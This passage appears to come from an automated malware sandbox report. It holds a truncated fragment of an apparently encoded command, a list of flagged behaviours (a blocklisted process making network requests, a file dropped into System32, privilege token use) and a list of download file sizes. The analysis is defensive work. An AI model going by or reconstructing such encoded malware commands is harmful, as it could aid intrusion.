dwAnACsAJwA3ADUAJwApACsAJwBhAGQAJwApAA==2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
8KB
-
Filesize
8KB
-
Filesize
9.9MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
8KB
-
Filesize
12KB
-
Filesize
8KB
-
Filesize
64KB
-
Filesize
8KB